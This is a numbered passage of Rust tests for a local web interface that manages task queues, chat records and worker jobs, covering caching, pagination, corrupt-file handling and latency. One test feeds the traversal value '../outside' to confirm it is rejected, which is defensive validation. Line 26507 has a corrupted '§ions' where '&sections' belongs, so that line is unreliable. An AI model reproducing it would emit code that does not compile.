26061 fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
26062 let home = tempfile::tempdir().unwrap();
26063 let ui = delta_test_ui(home.path());
26064 std::fs::create_dir_all(ui.talks.root()).unwrap();
26065 let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
26066 for id in &ids {
26067 std::fs::write(
26068 ui.talks.path_of(id),
26069 r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
26070 )
26071 .unwrap();
26072 }
26073 assert!(open_talk_ids(&ui, &ids).is_empty());
26074 assert_eq!(
26075 ui.monitor.talk_status_index.lock().unwrap().parses,
26076 ids.len()
26077 );
26078 assert!(open_talk_ids(&ui, &ids).is_empty());
26079 let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
26080 assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
26081 std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
26082 std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
26083 assert_eq!(
26084 open_talk_ids(&ui, &ids),
26085 std::collections::HashSet::from([ids[0].clone()])
26086 );
26087 let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
26088 let refreshed = if cfg!(unix) { 2 } else { ids.len() };
26089 assert_eq!(parsed, reused + refreshed);
26090 open_talk_ids(&ui, &ids);
26091 assert_eq!(
26092 ui.monitor.talk_status_index.lock().unwrap().parses,
26093 parsed + if cfg!(unix) { 0 } else { ids.len() },
26094 "only reliable file identity permits caching, including unreadable rows"
26095 );
26096 std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
26097 assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
26098 assert!(
26099 !ui.monitor
26100 .talk_status_index
26101 .lock()
26102 .unwrap()
26103 .records
26104 .contains_key(&ids[0])
26105 );
26106 assert!(
26107 ui.monitor.talk_index.lock().unwrap().is_empty(),
26108 "classification never caches bodies"
26109 );
26110 }
26111
26112 #[tokio::test]
26113 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
26114 let home = tempfile::tempdir().unwrap();
26115 let ui = delta_test_ui(home.path());
26116 let mut task = Task::new(
26117 "task".into(),
26118 "body".into(),
26119 PathBuf::from("/repo"),
26120 Source::Human,
26121 );
26122 ui.queue.put(&mut task).unwrap();
26123 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26124 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26125 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26126 let expected = parsed + usize::from(!cfg!(unix));
26127 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26128 task.status = crate::queue::TaskStatus::Held;
26129 ui.queue.put(&mut task).unwrap();
26130 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26131 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26132 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
26133 ui.queue.put(&mut task).unwrap();
26134 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26135 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26136 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
26137 }
26138
26139 #[tokio::test]
26140 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
26141 let home = tempfile::tempdir().unwrap();
26142 let ui = delta_test_ui(home.path());
26143 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
26144 let before = health(State(ui.clone())).await.unwrap().0;
26145 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
26146 let after = health(State(ui)).await.unwrap().0;
26147 assert_ne!(before.notifications_rev, after.notifications_rev);
26148 assert_eq!(after.notifications_unread, 1);
26149 }
26150
26151 #[tokio::test]
26152 async fn list_pages_bound_history_and_keep_dependency_evidence() {
26153 let home = tempfile::tempdir().unwrap();
26154 let ui = delta_test_ui(home.path());
26155 let queue = &ui.queue;
26156 let talks = &ui.talks;
26157 for i in 0..1000 {
26158 let id = format!("20261019-{i:06}-page");
26159 let mut task = Task::new(
26160 "task".into(),
26161 "instruction".repeat(100),
26162 PathBuf::from("/repo/magi"),
26163 Source::Human,
26164 );
26165 task.id = id.clone();
26166 if i == 0 {
26167 task.status = crate::queue::TaskStatus::Held;
26168 } else if i == 999 {
26169 task.status = crate::queue::TaskStatus::Blocked;
26170 task.blocked_by = vec!["20261019-000000-page".into()];
26171 }
26172 queue.put(&mut task).unwrap();
26173 seed_talk_at(talks, &id, "closed");
26174 }
26175 let page = serde_json::to_value(
26176 queue_page(State(ui.clone()), Query(PageQuery::default()))
26177 .await
26178 .unwrap()
26179 .0,
26180 )
26181 .unwrap();
26182 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26183 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
26184 assert!(
26185 !page["rows"][0]["stuck_roots"]
26186 .as_array()
26187 .unwrap()
26188 .is_empty()
26189 );
26190 let cursor = page["next"].as_str().unwrap();
26191 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
26192 .as_str()
26193 .unwrap();
26194 std::fs::remove_file(queue.path_of(last_id)).unwrap();
26196 let next = serde_json::to_value(
26197 queue_page(
26198 State(ui.clone()),
26199 Query(PageQuery {
26200 before: Some(cursor.into()),
26201 }),
26202 )
26203 .await
26204 .unwrap()
26205 .0,
26206 )
26207 .unwrap();
26208 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26209 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
26210 let chats = serde_json::to_value(
26211 talks_page(
26212 State(ui.clone()),
26213 Query(PageQuery::default()),
26214 header::HeaderMap::new(),
26215 )
26216 .await
26217 .unwrap()
26218 .0,
26219 )
26220 .unwrap();
26221 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26222 assert!(chats["rows"][0].get("pending").is_none());
26223 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
26224 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
26225 assert_eq!(counts["held"], 1);
26226 assert_eq!(counts["blocked"], 1);
26227 assert_eq!(counts["queued"], 997);
26228 }
26229
26230 #[test]
26231 fn queue_index_observes_external_replacement_deletion_and_corruption() {
26232 let dir = tempfile::tempdir().unwrap();
26233 let ui = delta_test_ui(dir.path());
26234 let mut task = Task::new(
26235 "task".into(),
26236 "body".into(),
26237 PathBuf::from("/repo"),
26238 Source::Human,
26239 );
26240 task.runs = vec!["run-a".into()];
26241 ui.queue.put(&mut task).unwrap();
26242 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
26243 task.runs = vec!["run-b".into()];
26244 let path = ui.queue.path_of(&task.id);
26245 let modified = path.metadata().unwrap().modified().unwrap();
26246 let replacement = path.with_extension("replacement");
26247 let bytes = serde_json::to_vec_pretty(&task).unwrap();
26248 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
26249 std::fs::write(&replacement, &bytes).unwrap();
26250 std::fs::File::options()
26251 .write(true)
26252 .open(&replacement)
26253 .unwrap()
26254 .set_times(std::fs::FileTimes::new().set_modified(modified))
26255 .unwrap();
26256 std::fs::rename(&replacement, &path).unwrap();
26257 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
26258 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26259 std::fs::write(&path, "broken").unwrap();
26260 assert!(ui.find_task_for_run("run-b").is_err());
26261 std::fs::write(&path, bytes).unwrap();
26262 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26263 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26264 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
26265 }
26266
26267 #[tokio::test]
26268 async fn conversation_core_is_independent_of_unreadable_related_history() {
26269 let home = tempfile::tempdir().unwrap();
26270 let ui = delta_test_ui(home.path());
26271 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26272 std::fs::create_dir_all(ui.queue.root()).unwrap();
26273 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
26274 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
26275 .await
26276 .unwrap();
26277 assert_eq!(core.talk.id, id);
26278 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
26279 }
26280
26281 #[test]
26282 fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
26283 let home = tempfile::tempdir().unwrap();
26284 let ui = delta_test_ui(home.path());
26285 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26286 let directory = home.path().join("workers/jobs/abcdef");
26287 std::fs::create_dir_all(&directory).unwrap();
26288 let job = crate::worker::Job {
26289 id: "abcdef".into(),
26290 sequence: 1,
26291 kind: "chat".into(),
26292 key: id.clone(),
26293 payload: serde_json::json!({ "talk": id }),
26294 generation: "test".into(),
26295 version: None,
26296 status: crate::worker::Status::Running,
26297 result: None,
26298 pid: None,
26299 created_at: 0,
26300 finished_at: None,
26301 };
26302 std::fs::write(
26303 directory.join("job.json"),
26304 serde_json::to_vec(&job).unwrap(),
26305 )
26306 .unwrap();
26307 let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
26308 let store =
26309 crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
26310 let runtime = tokio::runtime::Builder::new_current_thread()
26311 .enable_all()
26312 .max_blocking_threads(1)
26313 .build()
26314 .unwrap();
26315 runtime.block_on(async {
26316 let (release, held) = std::sync::mpsc::channel();
26317 let (started, ready) = tokio::sync::oneshot::channel();
26318 let occupied = tokio::task::spawn_blocking(move || {
26319 started.send(()).unwrap();
26320 held.recv().unwrap();
26321 });
26322 ready.await.unwrap();
26323 let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
26324 let bulk = ui
26325 .monitor
26326 .bulk_slots
26327 .clone()
26328 .acquire_many_owned(2)
26329 .await
26330 .unwrap();
26331 let result = tokio::time::timeout(
26332 Duration::from_secs(2),
26333 talk_core(State(ui.clone()), Path(id.clone())),
26334 )
26335 .await;
26336 drop(store);
26338 drop(bulk);
26339 release.send(()).unwrap();
26340 occupied.await.unwrap();
26341 let _ = secondary.await.unwrap().unwrap();
26342 let Json(core) = result
26343 .expect("transcript must bypass secondary work and the worker store lock")
26344 .unwrap();
26345 assert!(
26346 core.thinking,
26347 "read-only observation retains live worker state"
26348 );
26349 assert_eq!(core.talk.id, id);
26350 let admission_ui = ui.clone();
26351 let (release, held) = std::sync::mpsc::channel();
26352 let (started, ready) = tokio::sync::oneshot::channel();
26353 let admission = std::thread::spawn(move || {
26354 let _lock = admission_ui.talk_turns.lock().unwrap();
26355 started.send(()).unwrap();
26356 held.recv().unwrap();
26357 });
26358 ready.await.unwrap();
26359 let result = tokio::time::timeout(
26360 Duration::from_secs(2),
26361 talk_core(State(ui.clone()), Path(id.clone())),
26362 )
26363 .await;
26364 release.send(()).unwrap();
26365 admission.join().unwrap();
26366 assert!(
26367 result
26368 .expect("display must not wait behind local admission")
26369 .unwrap()
26370 .0
26371 .thinking
26372 );
26373 assert!(ui.is_thinking(&id));
26374 assert!(ui.is_thinking_observed(&id));
26375 drop(live);
26376 assert!(
26377 !ui.is_thinking_observed(&id),
26378 "a finished lease no longer appears live"
26379 );
26380 assert!(!ui.is_thinking(&id));
26381 let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
26382 assert!(
26383 ui.is_thinking_observed(&id),
26384 "local admission remains visible"
26385 );
26386 });
26387 }
26388
26389 #[tokio::test]
26390 async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
26391 let home = tempfile::tempdir().unwrap();
26392 let ui = delta_test_ui(home.path());
26393 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26394 let mut task = Task::new(
26395 "Referenced task".into(),
26396 "Unrelated instruction history".repeat(1024),
26397 home.path().into(),
26398 Source::Human,
26399 );
26400 task.id = "20261019-000000-abcd".into();
26401 ui.queue.put(&mut task).unwrap();
26402 let mut conversation = ui.talks.get(&id).unwrap();
26403 conversation.turns.push(talk::Turn {
26404 sender: Some(talk::Sender::Persona),
26405 who: talk::Who::Agent,
26406 body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
26407 at: conversation.created_at,
26408 attachments: Vec::new(),
26409 usage: None,
26410 breaks: None,
26411 messages: Vec::new(),
26412 posted_by: None,
26413 });
26414 ui.talks.put(&mut conversation).unwrap();
26415
26416 let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
26417 let markdown = serde_json::to_value(&core.turn_bodies_md)
26418 .unwrap()
26419 .to_string();
26420 assert!(markdown.contains("\"strong\""));
26421 assert!(markdown.contains("\"table\""));
26422 assert!(markdown.contains("\"bullet_list\""));
26423 assert!(markdown.contains("\"code_block\""));
26424 assert!(!markdown.contains("\"internal_link\""));
26425 assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
26426 assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
26427 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26428
26429 let references = ui.references.for_talk(home.path(), &conversation);
26432 let mut decorated = core.turn_bodies_md[0].clone();
26433 references.markdown(&mut decorated);
26434 let decorated = serde_json::to_value(decorated).unwrap().to_string();
26435 assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
26436 assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
26437 assert_eq!(
26438 ui.talks.get(&conversation.id).unwrap().turns[0].body,
26439 conversation.turns[0].body
26440 );
26441 }
26442
26443 #[tokio::test]
26444 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
26445 let home = tempfile::tempdir().unwrap();
26446 let ui = delta_test_ui(home.path());
26447 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26448 let mut run = RunState::new(
26449 PathBuf::from("/repo"),
26450 "main".into(),
26451 "01234567".into(),
26452 "Useful run".into(),
26453 Config::default(),
26454 );
26455 run.save_under(home.path()).unwrap();
26456 let mut task = Task::new(
26457 "Related".into(),
26458 "body".into(),
26459 PathBuf::from("/repo"),
26460 Source::Agent {
26461 run: talk_id.clone(),
26462 node: "chat".into(),
26463 },
26464 );
26465 task.runs = vec![run.id.clone()];
26466 ui.queue.put(&mut task).unwrap();
26467 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
26468 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
26469 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
26470 assert!(
26471 run_detail(State(ui.clone()), Path(run.id.clone()))
26472 .await
26473 .is_ok()
26474 );
26475 assert!(
26476 talk_sections(State(ui.clone()), Path(talk_id.clone()))
26477 .await
26478 .is_ok()
26479 );
26480 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26482 assert!(ui.find_task_for_run(&run.id).is_err());
26483 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
26484 ui.queue.put(&mut task).unwrap();
26485 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
26486 }
26487
26488 #[tokio::test]
26489 async fn conversation_sections_omit_large_task_instructions() {
26490 let home = tempfile::tempdir().unwrap();
26491 let ui = delta_test_ui(home.path());
26492 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26493 let mut task = Task::new(
26494 "filed task".into(),
26495 "large instruction ".repeat(65536),
26496 PathBuf::from("/repo"),
26497 Source::Agent {
26498 run: id.clone(),
26499 node: "chat".into(),
26500 },
26501 );
26502 ui.queue.put(&mut task).unwrap();
26503 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
26504 assert_eq!(sections["tasks"][0]["id"], task.id);
26505 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
26506 assert!(sections["tasks"][0].get("instruction").is_none());
26507 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
26508 }
26509
26510 #[test]
26511 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
26512 let home = tempfile::tempdir().unwrap();
26513 let talks = Talks::at(home.path().join("talks"));
26514 seed_talk_at(&talks, "20261019-000001-abcd", "open");
26515 seed_talk_at(&talks, "20261019-000002-abcd", "open");
26516 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
26517 assert!(resolve_talk(&talks, "../outside").is_err());
26518 assert!(resolve_talk(&talks, "abcd").is_err());
26519 assert_eq!(
26520 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
26521 "20261019-000001-abcd"
26522 );
26523 }
26524
26525 include!(concat!(
26526 env!("CARGO_MANIFEST_DIR"),
26527 "/tests/web_latency/baseline.rs"
26528 ));
26529
26530 include!(concat!(
26531 env!("CARGO_MANIFEST_DIR"),
26532 "/tests/web_latency/lists.rs"
26533 ));
26534
26535 #[tokio::test]
26536 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
26537 async fn web_history_latency_measurement() {
26538 use std::time::Instant;
26539 let home = tempfile::tempdir().unwrap();
26540 let ui = delta_test_ui(home.path());
26541 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26542 let mut template = ui.talks.get(&id).unwrap();
26543 template.turns = serde_json::from_value(serde_json::json!([{
26544 "who": "operator", "body": "Show the accumulated work and its current status.",
26545 "at": Timestamp::now().to_string(),
26546 }]))
26547 .unwrap();
26548 std::fs::write(
26549 ui.talks.path_of(&id),
26550 serde_json::to_vec(&template).unwrap(),
26551 )
26552 .unwrap();
26553 let count = std::env::var("MAGI_BENCH_RECORDS")
26554 .ok()
26555 .and_then(|s| s.parse::<usize>().ok())
26556 .unwrap_or(1000);
26557 for i in 0..count {
26558 template.id = format!("20261019-{i:06}-history");
26559 template.pending = "history ".repeat(2048);
26560 std::fs::write(
26561 ui.talks.path_of(&template.id),
26562 serde_json::to_vec(&template).unwrap(),
26563 )
26564 .unwrap();
26565 let mut task = Task::new(
26566 "old task".into(),
26567 "instruction ".repeat(2048),
26568 PathBuf::from("/repo"),
26569 Source::Human,
26570 );
26571 task.id = format!("20261019-{i:06}-task");
26572 ui.queue.put(&mut task).unwrap();
26573 }
26574 for baseline in [true, false] {
26575 for clients in [1, 4] {
26576 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
26577 let mut samples = Vec::new();
26578 for _ in 0..12 {
26579 let mut jobs = Vec::new();
26580 for _ in 0..clients {
26581 let ui = ui.clone();
26582 let id = id.clone();
26583 jobs.push(tokio::spawn(async move {
26584 let start = Instant::now();
26585 if baseline {
26586 let response =
26587 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
26588 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
26589 return (
26590 elapsed,
26591 elapsed,
26592 serde_json::to_vec(&response).unwrap().len(),
26593 );
26594 }
26595 let core = talk_core(State(ui.clone()), Path(id.clone()));
26596 let secondary = talk_sections(State(ui), Path(id));
26597 let (first, total) = tokio::join!(
26598 async {
26599 let value = core.await.unwrap().0;
26600 (
26601 start.elapsed().as_secs_f64() * 1000.0,
26602 serde_json::to_vec(&value).unwrap().len(),
26603 )
26604 },
26605 async {
26606 let value = secondary.await.unwrap().0;
26607 (
26608 start.elapsed().as_secs_f64() * 1000.0,
26609 serde_json::to_vec(&value).unwrap().len(),
26610 )
26611 }
26612 );
26613 (first.0, first.0.max(total.0), first.1 + total.1)
26614 }));
26615 }
26616 for job in jobs {
26617 samples.push(job.await.unwrap());
26618 }
26619 }
26620 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
26621 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
26622 first.sort_by(f64::total_cmp);
26623 total.sort_by(f64::total_cmp);
26624 let n = first.len();
26625 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
26626 println!(
26627 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
26628 first[n / 2],
26629 first[(n * 95 / 100).min(n - 1)],
26630 total[n / 2],
26631 total[(n * 95 / 100).min(n - 1)],
26632 samples[0].2
26633 );
26634 }
26635 }
26636 }
26637
26638 #[test]
26639 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
26640 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
26642 assert!(APP_JS.contains("function nextRunRequest(id)"));
26643 assert!(APP_JS.contains("function runShell(id, summary)"));
26644 assert!(APP_JS.contains("function nextTaskRequest(id)"));
26645 assert!(APP_JS.contains("function taskShell(id, summary)"));
26646 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
26647 }
26648}